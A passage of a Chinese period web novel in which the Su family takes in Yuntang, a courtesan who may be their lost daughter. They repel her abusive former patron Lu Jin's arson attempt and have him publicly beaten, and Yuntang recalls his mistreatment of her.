但不知苏天华一家的态度,他并没有说明原由, 只是让她在府里小住, 丫头婆子侍侯着,好吃好喝招待。 “是。”云棠应着,显得有些惶恐,又有些疑惑,苏邑的脸让她疑惑。 太相似, 苏邑要是女性,只怕要被认为是双胞胎。 正房落座,丫头倒茶上来,叶氏几乎是迫不急待的对云棠说着,“你叫云棠?谁起的名字?” 云棠脸上露出尴尬之色,“是教坊里的妈妈起的。” 叶氏微微一怔,随即眼泪落了下来。 苏天华心里也难受,却只能继续问,“幼时之事,你记得多少?” 云棠摇摇头,“我听教坊的妈妈说过,我是被拐子人京城拐来卖到教坊的,我记事时就在教坊了。” 叶氏又问几句,云棠皆摇头不知,却是疑惑的看着叶氏,“夫人,您家是丢了女儿了吗?” “十五年前,元宵节的时候,我女儿丢了。”叶氏哭泣说着,“我找了她十五年。” 云棠眼泪也跟着落下来,哽咽说着,“您是觉得……” “我生了一对双生子,这是弟弟。”叶氏指着苏邑说,眼泪滚滚而下。 云棠神情巨变,看到苏邑时,她就有感觉,如此相似的脸孔。 现在叶氏说出来,她竟然觉得果然如此…… “认亲是大事,我想着,还是要滴血验一下。”三叔公打断情绪激动的两人。 苏天华心情也百味杂瓶,点头应着,“是该滴血认亲。” 他只是跟三叔公写信,一起做个局,骗一骗叶氏,没想到云棠这样貌身世,竟然与丢了的苏辰一样。 难道是天意,本是假,竟成真。 “我来安排。”三叔公说着,“你们一路奔波劳累,先休息整顿。” 苏天华点点头,也觉得如此妥当。 云棠到底是什么情况,陆锦过来到底为何事,都要先问清楚。 三叔公看向苏邑和苏钰,苏天华这意识到还未介绍苏钰和苏邑,连忙说着,“这是我大哥的女儿钰哥儿,这是我儿邑哥儿。” 苏钰和苏邑双双起身见礼。 “是钰姐儿啊。”三叔公首先看向上苏钰,十分欢喜,“都长这么大了,我记得你祖父给你定了亲事,怎么还没成亲。” 苏钰有瞬间的僵硬,催婚果然是人类主题,跑到直隶都躲不过,只能笑着说,“男方家里有变故。” “这样啊……”三叔公只以为男方要守孝,也不再问。 随即三叔公又看向苏邑,“邑哥儿今年得十八了吧,订亲了吗,打算什么时候娶亲?” 苏钰心里平衡了,适龄男女一个跑不掉,一起受苦。 “没有订亲,娶亲更不知道了。”苏邑老实回答。 三叔公马上道:“都这个岁数,怎么能不定亲,是京城没有你中意的姑娘吗,现在来了直隶,叔公帮你操心。” 苏邑完蛋了,苏钰用同情的目光看向苏邑,可以想像未来的说亲场面了。 “邑哥儿的婚事不着急。”苏天华连忙说着。 三叔公把话题打住,对云棠说着,“你也先回屋休息吧,不管你是不是老二的女儿,我都答应过你,送你离开直隶。” “是。”云棠哭泣着,见礼退下。 云棠离开正房,自去后罩楼休息。 三叔公这才叹气道:“这也是个可怜孩子。” “三叔是从哪里寻到她的?”叶氏急切问着。 三叔公说着,“在恒王府的宴席上。” 恒王府就藩在直隶,己传至三代。苏家做为直隶大族,王府有重大活动时,三叔公做为代理族长都会出席。 半个月前,恒王妃四十岁整寿,大宴宾客,三叔公也在其中。 云棠上台献艺,看到脸时,他当时就有点震惊。 为了寻人方便,苏天华把苏邑的画像散的哪里都是,比着苏邑找,肯定很靠谱。 当天晚上,三叔公就去找恒王府的长史官。 一个上台献艺的歌伎,只要他开口,都不用花银子,凭着面子长史官都会把人送她。 果然,长史官痛快把人送他。 因没收银子,三叔公便请了顿花酒,也是想着喝酒的时候,把云棠的身契要到手里。 不曾想长史管却说,人是陆锦送来的,但只有人,没有身契。 不过也无所谓,一个青楼歌伎,身契不身契的不用太当回事。 三叔公见状,就连忙向长史官打听云棠的身世,长史官便把知道的一五一十的说了。 云棠原是江南某个教坊里的歌伎,从小养大,因生的漂亮,妈妈指望着她赚大钱,不轻易许人。 陆锦南下游玩,一眼看中云棠,砸了千金之数才把人搞到手。 可能是新鲜感,也可能是因为云棠实在漂亮,陆锦给云棠赎了身,带回直隶养在外头,当了外室。 直隶说大不大,说小不小,宁阳侯府也是知道的。连陆锦的未婚妻,胡家小姐都一清二楚。 少年风流,不是什么大事。陆锦这种霸王性子,也没人敢管他。 眼看着陆锦年满十八,胡家小姐也十七了,宁阳侯府就想把婚事办了,没想到陆锦竟然不愿意,跟宁侯府闹腾起来。 这些本来与云棠无关的,没想到她竟然在陆锦与家里闹的最凶时,怀孕生子。 长子为庶本就是大忌,婚前生子就更过份了。 胡家得知消息后,马上去找宁阳侯,宁阳侯保证一定给胡家一个说法。 没多久陆锦就把云棠送给了恒王府,至于孩子,就没人知道下落。 现在陆胡两家己经定下日子,下个月陆锦就娶新媳妇。 “云棠,到底给陆锦生了孩子的,陆锦就真把她送到恒王府当歌伎?”叶氏说着,神情都有些恍惚了。 她早知道云棠的身世肯定十分不堪,但没想到,竟然己经产子。而且还遇上这种绝世渣男。 “我也这么问过长史官。”三叔公说着。 男人风流没什么,但对女人多少得有点良心。睡了一两年,孩子都生了。 因为未婚妻闹起来,要打发走也得安置一下,再怎么样把身契还了,再给些银两,好聚好散。 不曾想长史官却说,“陆大爷向来如此,不喜欢了就丢开手。寿宴当天,登台献艺的事他都是知道的,全然不在意,自己还在台下看。” “虽然没有身契,但你只管把人带走,他保证不找你麻烦。” 三叔公当时听得就有些无语,但想想也符合陆锦的人设。 本来就不是什么好东西,单纯好色而己,不喜欢了觉得麻烦了,也就随意处置了,压根就没有情义可言。 “既然如此,他来闹什么?”苏天华皱眉说着。 三叔公也觉得十分莫名,却也不太当回事,“大不了把当时赎身的身价银子还他。” 就像长史官说的,都送给恒王府当歌伎,登台献艺了,早就不当回事。 “这等无情之人,若让我遇到,我定不会轻饶。”苏邑说着。 他并不认为云棠是苏辰,虽然脸很像,但他没有任何感觉。 做为一个路人,听到云棠的经历,他同情之余,对陆锦十分厌恶。 贺英己是京城出了名的渣男,但据说与他欢好过的勾栏女子,没有说他不好的。 感情是一回事,道义又是另外一回事。 渣到连道义都不讲,那就与感情无关,纯粹就是人渣。 “我己派人往江南,仔细调查云棠的身世,确实如长史官所言。”三叔公说着。 “她大约是五岁时被拐子卖进教坊里,据拐子说,是京城拐出来的千金小姐,因怕惹祸,只想赶紧脱手。” 苏天华给他写信时,想的是找个假的,就那么巧的,他在接到信的第二天就看到了云棠。 或许这就是冥冥之中,自有天意。 叶氏听得心疼不己,却是看向苏天华,“你觉得她是辰姐儿吗?” “如此相似的面容,连身世都一样,十之八九。”苏天华说着,“滴血认亲后,一切分晓。” 叶氏心里有些打鼓,但听苏天华这么说,也点点头。 滴血认亲,自能定夺。 “你们一路奔波,都早点休息吧,有事也明天再说。”三叔公说着。 苏天华再次向三叔公道谢,不管云棠是不是苏辰,都要谢三叔公这一番操劳,“我送三叔。” 三叔公连连摆手,“不用,你们歇着吧。” 下人们己经把屋子收拾好,苏天华夫妻住了正房三间,苏钰住了东厢房,苏邑住了西厢房。 带来的下人,女眷们跟着主子们住,男人住了倒座。 三叔公又从自家调派了十几个丫头,跟着云棠住在后罩楼。 房间己经收拾妥当,虽然行李太多,还没办法分配清楚,但至少今天晚上要用的己经有着落。 众人都累了,各人屋里吃饭,各自休息。 掌灯时分,绿川带着小丫头铺床,苏钰却有些心不在焉。 “那位云棠姑娘可是直隶的名人,当年陆大爷为了她,那可是千金买笑。”三叔公调派来的小丫头突然说着。 绿川看她一眼,刚想开口训斥,云棠现在身份特别,如何能背后议论。 “怎么说?”苏钰好奇问。 小丫头说着,“整个直隶都知道,陆大爷为了她斥责重金造了一艘花船,是整个直隶最好的。就因为她第一次去游湖时,有个小姐嘲讽她,陆大爷当场把对方推下水,又打造了全城最好的花船,说只有这样的花船才配的上她。” “还有元宵节的时候,让工匠比着她的身型打造了全直隶最高最大的花灯。七夕就更不用说了,放了全城的烟花。” “还有,云棠刚怀孕的时候,陆大爷就请了大夫,每月去请平安脉,还在最大的庙里供送子观音。” “生产的时候就更夸张了,直隶的稳婆都被请了去,只是大夫就请了三个。” “生下儿子后,陆大爷开了十天十夜的流水席,过去道声喜就会有红包收。” 小丫头讲的声色并茂,哪个少女不怀春,一个勾栏里出来的女子,被男人宠爱至此,还是陆锦这种年轻帅哥。 闺阁千金是不屑议论,丫头就不同了,多少人希望也遇到个陆锦,就此脱了奴籍,嫁得如意郎君成为人上人。 “这位陆大爷既然定了亲,未婚妻家里如何能允许他如此胡闹。”绿川口吻中带着不可思议。 她自幼在苏家侍侯,对于高门大户的规矩是懂的。 陆锦这样的,胡家就是属乌龟的,也得打上门去要求退亲。 “胡家己经落魄了,哪里敢管。”小丫头说着,“胡家小姐甚至公开说过,她只求一个正室的名份。要不是陆大爷闹着不娶胡家小姐,胡家屁都不会放一个。” 陆锦为了云棠闹的全城皆知时,胡家人看到云棠甚至还要陪笑脸。 胡家小姐大概还是要脸的,每每知道云棠去了何处,她就主动避让。 绿川听得瞠目结舌,陆锦闹的这一出,己经超出了她的认知。 “那为什么后来……” 苏钰听得也有些发怔,主要是恋爱经验太少,对男人的了解也不足。 爱的时候如P.M. 獨.傢.癥.蠡此热烈,连孩子都是陆锦主动让生的。 就算这份爱意不能持久,至少能好聚好散吧,至于送到王府当歌伎,任人糟蹋吗。 “我听人说,是因为陆大爷又喜欢上一个勾栏女子,就不喜欢云棠了。”小丫头说着。 “陆大爷为了她,也花了好多银两,置办了更大更好的花船。” 男人都喜欢救风尘,救了一个不够过瘾,那就多救几个。 “陆大爷喜欢的这位新人,据说脾气可不好了,在众人面前甩过云棠的耳光,很多人都看到了。”小丫头继续说着。 “大概是怕云棠复宠,就给陆大爷吹枕边风,撺掇着陆大爷把云棠送人,被人糟蹋坏了,她也就安心了。” 后面的猜测是婆子们说的,陆锦是直隶的风流人物,也是众婆子丫头的谈资。 一个小丫头哪里能知道这么多,但大家没事就议论,你说一句我说一句,知道的就多了。 炸裂的言语,细想逻辑竟然是合理的。 苏钰和绿川相视一眼,都有种世界观被颠覆的感觉。 出门果然长见识,能充份认识到人种的多样性。 就在苏钰无语之时,外头脚步声响起,在院墙外头,脚步声很整齐。 奇异的是,并不是在门口,而是分散在周围,好似要把这套三进小院包围起来。 “你们在屋里好好呆着。”苏钰说着,转身出门去。 苏钰刚踏出东厢房,只见苏邑也从西厢房出来,手里提着缨枪。 这趟跟着来的,也有苏家的护院,都是战场退下来的老兵,听到动静不对,都手持刀剑出来了。 打开大门,就见十来个护院手提油桶往院墙上 倒油。 其中一个,手持火把,正欲放火。 苏邑长枪出手,连人带火把打出了一丈外,心中怒极,“好大的胆子,竟然敢放火烧屋。” 更多的火把出现在街口,可能下午才挨过打的缘故,陆锦带了更多打手,手持刀剑而来。 苏钰打量着陆锦,突然发现低估他了。 实力不够,胆子来凑。 京城地界,天子脚下,敢公然放火行凶,不丝毫掩示的,还真没有。 直隶,天高皇帝远,这些土霸王发起疯来,风格很不一样。 “把云棠交出来,不然我一把火烧死你们。”陆锦表情凶狠。 第83章 第 83 章 如此大的动静,不管…… 如此大的动静, 不管是正房的苏天华和叶氏,后罩楼的云棠都听到了。 云棠更显得格外激动,悲愤交加,要不是婆子们扶着, 只怕要哭倒地上。 “我再说一次, 把云棠交出来。”陆锦语气凶狠。 “你为何来找云棠?”苏钰丝毫不害怕, 她只是疑惑陆锦的行为。 都送到王府登台为艺伎了, 不喜到这种程度,为什么要来找? “她是我的人, 生是我的,死也是我的。”陆锦冷声说着,“我就是把她带回去宰了,也绝不允许别人染指。” 苏邑顿时怒了,“世上怎么有你这等狼心狗肺之人。” 陆锦冷笑, 朝院子里扬声喊着,“云棠,老实滚出来, 惹我生气, 你知道后果。” “宁阳侯府真是好家教。” 苏天华从院里出来, 叶氏紧跟其后,身边是云棠, 被两个婆子扶着, 身体依然止不住瑟瑟发抖。 陆锦看到云棠,恶狠狠盯着她,“勾三搭四的贱人,看我怎么整死你。” 云棠身体一颤,叶氏怜惜看着她, “你不用怕他,在这里,没人能欺负你。” 说着,叶氏对苏邑说着,“给我照死里打。” 苏邑早就怒了,听得叶氏吩咐,哪里还会留手。 陆锦下午吃了亏,此时却是早有准备,特意从恒王府借了护院,十几个人围了上去。 苏家带的护院也不少,都是战场上退下来的,出手即伤人。 眼看着双方战成一团,恒王府的护院竟然占不到便宜。 “点火。”陆锦大声喊着。 苏家护院早就提防着,哪里还有机会,不等陆锦的人靠近,就被打飞。 “你可知我是谁?”苏天华看向陆锦。 下午时他让苏邑去料理,而没亲自露面,就是不想让人说以大欺小。 但陆锦的所做所为,己经超过他的忍耐底线,有必要跟他的家长聊聊。 “我管你是谁。”陆锦怒声喝着,“在这直隶地界上,就是国公府的人来了,也得给我退让。” “好大的口气,希望你的父母也能如你这般,继续保持。”苏天华说着。 他声音不大,神情也很平常。就在话出口的瞬间,突然出手。 身如鬼魅,闪身至陆锦跟前,一把掐住陆锦的脖子,举高拎了起来。 陆锦涨红了脸,眼珠子都要瞪出来一般。想挣扎,只觉得呼吸紧促,下一秒都要晕过去的模样。 “放心,我不会掐死你。”苏天华说着,随即缓声说着,“想你们主子马上死的,就继续打。” 陆家的家丁,以及恒王府的护院,看陆锦被制,当即都停下手来,其中还有人喊着,“我们是恒王府的人。” “那正好,你们现在回府报信,英国公府苏天华,将要去宁阳侯府做客。若是恒王爷想来一叙,正好一起喝茶。”苏天华缓声说着。 “英国公府?哪个英国公府?” “还有哪个英国公府。” 恒王府的护院小声议论几句,就有一个领头的人站出来,“小人有眼不识泰山,冲撞了贵人。” “前头带路,我现在就去宁阳侯府,找宁阳侯聊一聊孩子的家教问题。”苏天华说着,却没有放开陆锦的意思。 一群下人面面相觑,但陆锦被掐着脖子,就是想接着打下去,看看倒地死伤的兄弟,也有些怕了。 在直隶横行了这么久,打了这么多回架,死人是极少见的。 而住在苏家的这伙人,是真敢杀人。 宁阳侯府并不远,也就是两条街。苏天华掐着陆锦的脖子,单手拖拽,全无反抗余地。 陆家下人们面面相觑,跟随在后,苏家的家丁没有跟来,只有苏邑和苏钰跟在苏天华身后。 苏钰也是很好奇,到底什么样的家教,能教出陆锦这种畜生。 早有脚程快的护院回府禀报,苏天华刚行至宁阳侯府大门,就见中门大开,宁阳侯一身正装出迎。 早在两天前,他就收到消息,苏天华带着家眷回直隶。 宁阳侯府在直隶是有些权势,但京城的大贵族相比,差的就有点远。 原本想着,先写拜贴探探风向,也不求交结,不失礼数不得罪。 哪里想到,不等拜贴写好,就有下人来报。有人自称是,英国公府苏天华,现在正掐住陆锦的脖子,要与他聊儿子家教问题。 “拜见苏将军。”宁远侯认识苏天华,本来还想着不会这么巧,没想到真这么巧。 再看陆锦,被苏天华掐着脖子拖了一路,虽然没死,却是出的气多,进的气少,将要晕死过去。 “有十来年没见吧,宁远侯倒是一如从前。”苏天华说着。 宁远侯看着陆锦,多少有些顾不得了,他就这么一个儿子,实在是心肝宝贝的很,“犬子不知哪里得罪了苏将军,我代他向您赔罪。” 说着,宁远侯对着苏天华鞠躬见礼。 “令郎意图烧死我全家。”苏天华轻描淡写说着,看陆锦也差不多快断气,猛然大力一甩,把陆锦丢到宁阳侯身侧。 陆锦此时早然晕倒,身体软软的倒在宁阳侯身侧。 “锦哥儿……” 一直躲到后头的宁阳侯夫人看到儿子被扔进来,还以为己经断气,当即也顾不得,哭着冲了过来。 “没死,不用哭丧。”苏天华说着。 宁阳侯大松口气,却是再次向苏天华鞠躬见礼,“犬子无状,我定重罚于他。” 苏天华道:“很好,明天我派人过来,由他们动手,打上三十棍,事情翻过,我不追究了。” 宁阳侯当即变了脸色,本是一句客气话,没想到苏天华会这么说。 虽然只有三十棍,以陆锦的体格挨的过,但想到这棍子要打到儿子身上,他依然心中不忍。 “怎么,侯爷是打算公堂上见?”苏天华说着,“意图烧死朝廷命官,这样的罪名,我肯私了己是给足宁阳侯府的面子。” “我儿己被你打成这样……”宁阳侯夫人忍不住哭泣说着。 “夫人这话,是真想令郎那把火放起来啊。”苏天华嘲讽说着。 宁阳侯顿时哑然,却是回头喝斥宁阳侯夫人,“无知妇人,还不速速退下。” 关键是赶紧把陆锦带进府里医治。 宁阳侯夫人终于反应过来,赶紧召来婆子,七手八脚的把陆锦抬进府。 宁阳侯大松口气,正想着用什么借口送走苏天华。至于明天那三十棍,等找来恒王爷,由他出面调节,苏天华肯定会卖这个面子。 马蹄声响起,只见恒王爷骑马带着侍从,从远至近而来。 宁阳侯吓了一跳,没想到恒王爷这时候来了。 恒王府的护院往王府报信,恒王爷听到消息后,就马上赶过来。 关于陆锦,恒王爷是说过恒王妃的,宁阳侯夫人与恒王妃是亲姐俩。宁阳侯夫人老来得子,但如此过份溺爱,早晚会出事。 恒王妃不听,果然,这回踢到铁板上。 “拜见恒亲王。” 众人见礼,恒亲王翻身下马,笑容满面说着,“快免礼,大晚上的,怎么都站门口,也不进去说话。” 宁阳侯愣了一下,这才勉强笑着,对苏天华说着,“苏将军,请。” “大晚上的,过府就不用了。”苏天华说着,“我明日派人过来。” 宁阳侯神色一僵,又有点意外。 提议进府的是恒亲王,没想到苏天华连恒亲王的面子都不给。 恒亲王却丝毫没有面子被削的尴尬,径自笑着说,“早闻苏将军大名,今日得见,果然名不虚传。” 藩王和武将是不能有交情的,老死不相往来最好。 “恒亲王过奖了。”苏天华客气说着。 恒亲王又笑着看向苏钰,“是苏姑娘吧,我们见过,姑娘可还记得我。” 楚王爷的继女,更关键的是,她的母亲是慕容宁。 京城早有消息传来,情愿得罪阎王爷都不要得罪慕容宁。 苏钰想了想,笑着说,“三年前,王爷奉旨见京,有幸在楚王府拜见王爷。” “苏姑娘好记恨。”恒亲王笑着说,“我刚得知姑娘来了,正想下贴相请。没想到竟在此相遇,也是机缘。” “是挺巧。”苏钰笑着说,“陆锦是王爷的外甥,我明天无事,正好要来看他。” 亲自来看他打板子,保证打的够狠。 恒亲王有些疑惑,正欲发问,苏天华就道:“时候不早了,我们就先告辞了。” “嗯,改天再叙。”恒亲王笑着说。 如此闹到半夜,苏天华带着苏钰,苏邑回到住所时,叶氏刚安抚好云棠。 云棠哭哭泣泣中说了许多,叶氏早就听得心头火起。 陆锦这等人渣畜生,闻所未闻。 “老爷回来了……” 门口小丫头传话进来,云棠马上止住眼泪,站起身来。 “夫人,我先回去了。”云棠说着,从后门走了。 苏天华进到屋里,叶氏上前帮苏天华更衣,又问起情况。 “明天阿钰带人去宁阳侯府,打陆锦三十棍。”苏天华直接说结果。 这三十棍,可以让陆锦生不如死。 “我也要去,不打死他也得要他半条命。”叶氏说着,想到云棠的遭遇,依然气愤不己,“这种畜生就活该断子绝孙。” “那把阿邑也叫上,你们三个一起。”苏天华说着。 叶氏却想到云棠,“我还要带着云棠一起去。” “随你。”苏天华说着。 “我想过了,不管滴血认亲是什么结果,我都想把云棠带回京城。”叶氏说着,“把她留在这里,她是真的活不下去了。” 苏天华想到云棠的身世,也不禁一声轻叹,“都依你。” 第84章 第 84 章 陆锦被苏天华掐的半死不…… 陆锦被苏天华掐的半死不活, 大夫又是扎针又是灌药,终于把人弄醒了。 “云棠,云棠……”陆锦惊声叫着,害怕了。 在梦里, 云棠走了, 跟着更富贵, 更有权势的男人走了。 “我的儿啊, 你总算是醒了。”宁阳侯夫人哭着抱住陆锦。 陆锦却是急切问着,“云棠呢, 云棠人呢。” 宁阳侯夫人快要气死了,“都这个时候了,你还想着那个贱人。” 折腾了这么久,宁阳侯己经知道了前因后果,虽然心疼儿子, 却不禁骂着,“为了一个青楼女子,你去惹苏家, 你是想全家跟你一起死。” 苏家人走后, 宁阳侯就请恒亲王到府里小坐, 主要是那三十棍的事。 本想让恒亲王做个和事佬,没想到恒亲王不但拒绝了, 还劝了宁阳侯几句。 直隶苏氏是大族, 族人众多,这个且不说。 京城苏家是苏氏的嫡系分支,最近十来年,那是节节高升,别人是强龙不压地头蛇, 他家是强龙能压下地头蛇。 苏天华是领兵打仗的大将军,陆锦敢放火烧他的屋,哪怕是用不知身份当托词,那也是把人得罪了。 三十棍,这事就翻篇,己经很给面子。 再求情,他张不开这个嘴。 恒亲王还格外提醒宁远侯,同行的苏钰,她亲妈是慕容宁,这事要是处置不好,传回京城,想想冯家的下场。 宁阳侯听完就有些怕了,冯家的事,己经从京城扩散开来,好多世家大族都怕了。 灭门就在一夕之间,甚至连个像样的借口都没有。 “是他们要跟我抢人。”陆锦怒声吼着,随即喃喃自语着,“怪不得连孩子都不要了,原来是攀上更高的枝了。” “一个青楼楚馆里的东西,当然是爱钱爱势。”宁阳侯夫人想到云棠就一肚子气,“要不是看她生了诚哥儿,我早派人掐死她了。” 宁阳侯一脉子嗣单薄,陆锦是家里的独苗,宁阳侯夫人三十五岁得子,一家老小都十分宝贝。 虽然看不上云棠的出身,但孙子是亲的。孩子落PMDUJIA地她就让婆子抱过来了。 原本想着,要是云棠老实听话,等陆锦娶了正妻后,也让她进门。 没想到云棠竟然撺掇着陆锦退亲,胡家是落魄了,也就是落魄才能容忍陆锦胡闹至此。 要是把这门亲事退掉,想再寻一个这么合适的都难了。 这估计就是云棠的想法,陆锦没有正妻,只守着她一个人过。 一个青楼女子竟然有这么大的野心,宁阳侯夫人想到就胸闷气喘。 “老爷,太太,苏家的人来了……” 管事急匆匆跑进来,语气中带着惊恐,“正在外面闹呢。” 宁阳侯和宁阳侯夫人顿时有些怕了,昨天晚上那一通闹,他们可是见识过的。 唯独陆锦,掀被子下床,满脸怒气的往外冲,“我要把云棠找回来。” 宁阳侯和宁阳侯夫人看陆锦还在发疯中,连忙追了上去。 “回来,快来人把他拦住。”宁阳侯连忙吩咐着。 管事却是道:“拦了也没用,苏家欺人太甚,在门口砸门叫骂呢。” “什么!” 此时宁阳侯府门口,却是热闹非凡。 叶氏坐着滑杆软轿从西大街出发,身侧苏邑,苏钰以及云棠随行。 十几个护院跟随着,却并没有闲着,敲锣打鼓喊着,“陆锦挨打了,陆锦要挨打了……” 直隶城并就不大,这么喊了一路,整个直隶都知道了。 陆锦乃是直隶一霸,路人皆知,现在有人敢喊要打陆锦,不管真假,这么直接下陆锦的面子,这土霸王肯定不会善了。 有热闹,而且是大热闹,早有好事之徒,尾随叶家众人来到宁阳侯府。 虽然没敢直接围着大门口,但里里外外站了不少人,对面墙头屋顶上都有人。 “把门给我砸了。”叶氏坐在软轿上说着。 还敲什么门,陆锦敢泼油放火,她就敢砸门。 一声令下,护院早有准备,几个人上去,拿出腰间的斧头,框框十几下,朱漆大门被劈了个稀巴烂。 苏邑对母亲脾气早有了解,一脸淡定。 苏钰也不意外,脾气上来时,叶氏能把苏天华打的鼻青脸肿,这都是小场面。 唯独云棠,她出门前并不知所谓何事,这样的场面让她吓坏了。 她在直隶这么久,深知宁阳侯府势力,陆锦是真敢杀人。 “等会我让人把陆锦拖出来,当街打这三十棍,让整个直隶的人都看到。”叶氏对云棠说着。 云棠显得有些惊恐,“宁阳侯府与恒王府是姻亲,夫人……” 以陆锦的性格,要是受此侮辱,绝不会善罢干休。 叶氏拍拍云棠,笑着道:“陆锦算什么东西,何需怕他,我给你出气。” 昨天云棠与她说话时,她就看出来了,云棠十分惧怕陆锦。 哪怕陆锦好时,也对她过,但对她坏,实在太坏,让她怕到骨子里。 “这,你们……” 朱漆大门砸完了,陆家三口终于出来了。 陆锦看到云棠,眼里再没有别人,就欲冲过来,云棠吓坏了,下意识就要抱头尖叫时,就见苏钰人影一闪,一抹寒光刺向陆锦脖颈。 陆锦下意识捂住脖子,鲜血没有喷发出来,只是入骨的寒意好像实体化。 明明没有伤口,但那瞬间的感觉,陆锦生平第一次,觉得自己离死亡如此近。 “再敢乱动,下一刀,我就抹了你的脖子。”苏钰语气平淡。 她没杀过人,也没打算杀了陆锦。 但这种时候了,陆锦还要张狂,至少要吓他一吓。 这一刀也让本欲吵闹的宁阳侯夫人闭嘴了,果然是京城来的权贵,跟本土的恶霸完全不是一个路子。 侯府世子都敢直接抹脖子,动手的还是一个年轻姑娘。 “我乃朝廷一品诰命,就不向两位行礼了。”叶氏依然坐在软轿上,语气傲慢。 武官晋阶凭军功,不像文功还需要熬资历,苏天华官阶升的快,她早就是一品诰命了。 当然,她这个一品诰命跟谷夫的一品诰命比,那就水多了。 “昨天令郎意图放火烧屋,我夫下令,杖责三十以示警戒。”叶氏对宁阳侯说着,“为了公平期间,当街行刑。” 当街行刑四个字让宁阳侯夫妻涨红了脸,陆锦要是当街挨了这一顿打,将来还怎么在直隶立足。 “你们,苏家就是再了不起,也不能如此仗势欺人。”宁阳侯夫人气急败坏。 “哈哈……”叶氏笑了出来,对身侧的苏钰说着,“钰姐儿,她说我们仗势欺人呢。” 苏钰笑着,看向陆锦,“陆大爷那么喜欢仗势欺人,今天也该好好休会一把,什么叫仗势欺人。” 说话间,苏钰对护院们使了眼色,护院把带着长凳以及棍棒拿出来。 又有两个走向陆锦,“陆大爷,请了。” 陆锦哪里肯就范,两个护院本就是练家子,哪里容得陆锦挣扎,直接按住拖到板凳上。 “打。”叶氏一声令下。 棍棒落到陆锦身上,陆锦闷哼一声。 这回派来打手,都是经验非常老道,保证能不见血的把陆锦打个半死。 这么一棍下去,只是一声闷哼,陆锦倒算是一条汉子。 “看到了没,这陆锦也没什么了不起的。”叶氏对云棠说着,“都是权势包裹出来的,只要比他更有权更有势,他就能像狗一样跪着舔你。” 陆锦是云棠的心结所在,想破除心结,就要在云棠面前,把陆锦狠狠的压下去。 根本就不是什么了不起的人物,更不是不可战胜,生尔为人,谁也不比谁高贵。 云棠颤抖的身体逐渐平静,甚至敢直视陆锦受刑。 是啊,陆锦并没有什么了不起,他与她一样,都只是普通人。 无数画面在脑海中一闪而过,似乎伸手就能抓住,却不愿意去抓住。 遇到陆锦时,云棠是真的高兴。 因为生的好性格温顺,再加上养了这么多年,教坊里的妈妈对她很好。 但教坊里的姑娘,年龄到了,都得接客。 为了寻个合心意的,妈妈也很愁,直到陆锦出现。 年轻漂亮,侯府世子,出手阔绰,更重要的是对她很好,说就喜欢她一个。 这种话勾栏里的姐儿没人信,云棠也不信,但听着高兴,关键是陆锦出手大方。 本以为只是一夜风流,没想到陆锦竟然愿意给她赎身,并带回直隶。 哪怕是当外室,那也比在青楼强。妈妈很高兴,楼里的姐妹也都为她高兴,不用接客,有人赎身。 将来如何不好说,但怎么也比呆在青楼里强。 回到直隶后,陆锦置办了一所四进院落,还摆了酒请了几个亲友,一顶粉娇把她接进门。 那是她最高兴的时候,她是真心实意感激陆锦,全身侍侯他,只要能哄陆锦高兴,她做什么都愿意。 云棠有时候都想,人生要是能停留在那个时候就好了。 陆锦对她的柔顺也格外满意,各种为她花费,沸沸扬扬满城风雨。 云棠高兴当然高兴,却总有种不真实感。 青楼里呆久了,见的男人也多了。男人上头期和下头期完全是两个人,上头期的行为越夸张,下头后翻脸就越难看。 把所有张扬的事做了一遍,与其说是讨女人欢心,不如说是自己开心。 那是云棠最快乐的时候,然后,她怀孕了。 一直以来陆锦没要求她避孕,她也没有喝汤药,心里也隐隐期待过,要是能有个孩子就好了。 但她也很清楚,孩子未必能生下来。 毕竟陆锦还没有成亲,外室先生子算是怎么回事。 也是她运气好,宁阳侯府子嗣单薄,陆锦的定亲对象胡小姐又十分十分大度,陆锦亲口承诺,孩子可以生下来。 云棠高兴坏了,开始安心养胎。 怀孕后不能陪睡,陆锦来的少了。心里有点难过,脸上却没有丝毫介意。 别说她一个没名没份的外室女子,就是陆锦将来的正室也不敢管,甚至还要主动给陆锦挑姨娘塞丫环。 见面少了,也甚少亲密,云棠当时就能感觉到陆锦隐约间带着的不耐烦。 她并不在意,也不意外,男人嘛,总是枕边睡着那个最好。 有了新人,旧人也就没那么喜欢了。 直到孩子出生,宁阳侯夫人抱走孩子。 云棠和陆锦的关系急转直下,她知道陆锦在她怀孕生产期间,又养了一个青倌人。 为了新人又张扬的花费一番,就好像游戏又玩了一轮。 但她怎么都没想到,陆锦热情过去之后,会对她这么坏。 只因为她提了一句孩子,就被陆锦甩耳光。 紧接着陆锦把新人也接到四进宅院里,新人不但不温柔还十分刻薄。 因失宠而被冷落,地位下降,开始像丫头一样干活,还时常被新人责骂。 最严重一次,她被赶到柴房里睡了大半个月。 虽然在教坊长大,但从小到大,不管是妈妈还是身边的姐妹对她都很好,都是可怜人,相互抱团取暖。 这种苦楚,云棠没受过。再加上想念孩子,心情身体皆每况欲下,时常哭泣。 因为过的太苦,云棠给在江南的妈妈写信。 除了诉苦之外,还有一点担忧,陆锦这样对她,只怕很快就要抛弃她了。 念在她生下诚哥儿,陆锦应该会还她身契,她手里还有点点积蓄,就想着回江南。 这封信不知道怎么回事就到了陆锦手里,陆锦拿着信,双眼血红的问她。 “果然是青楼里出来的贱人,我好吃好喝着你,你却还想着要当婊子。” 从那之后,挨打成了家常便饭,贱人,骚货,各种侮辱性词汇,陆锦张口就来。 关柴房,饿饭,甚至还被新人用藤条抽的满身伤。 云棠不能明白,哪怕她在教坊里长大,也没见过陆锦这种男人。 一夜夫妻百日恩,男人睡了一个女人,多多少少都是有点感情的。 不喜欢了,厌烦了,因为种种原因,被抛弃的女人多了。但把曾经的爱人当猪狗一样随便对待,这是极少见的。 因为不能明白,她曾质问过陆锦,换来的就是一顿怒骂。 陆锦骂她贱,骂她出身青楼,却自恃高贵。 然后,她就被关进了小黑屋里,整整三天,她快疯了,也是那个时候,她对陆锦的恐惧到了极点。 要不是婆子看她太可怜,趁着没人时打开门,给她送水和食物,她会死在那场虐待里。 从小黑屋出来后,陆锦对她还活着,似乎很失望。 但对于虐待她,也没了兴趣,在新人的挑唆下,他把她送给了恒王府。 一个歌伎而己,世家子弟之间经常互送,恒王府的长史官把她随意收下,随意安排。 在恒王府的第一晚,因为陆锦以前的张扬,让她在直隶很有名。同屋住的歌伎们,看到她神情都很古怪。 她却没什么感觉,甚至觉得有点点开心。 在这里,只是冷眼而己,不会被虐待。 “三十棍己满。”执杖的护院说着。 此时的陆锦早己经晕迷过去,眼睛却似乎看着云棠的方向。 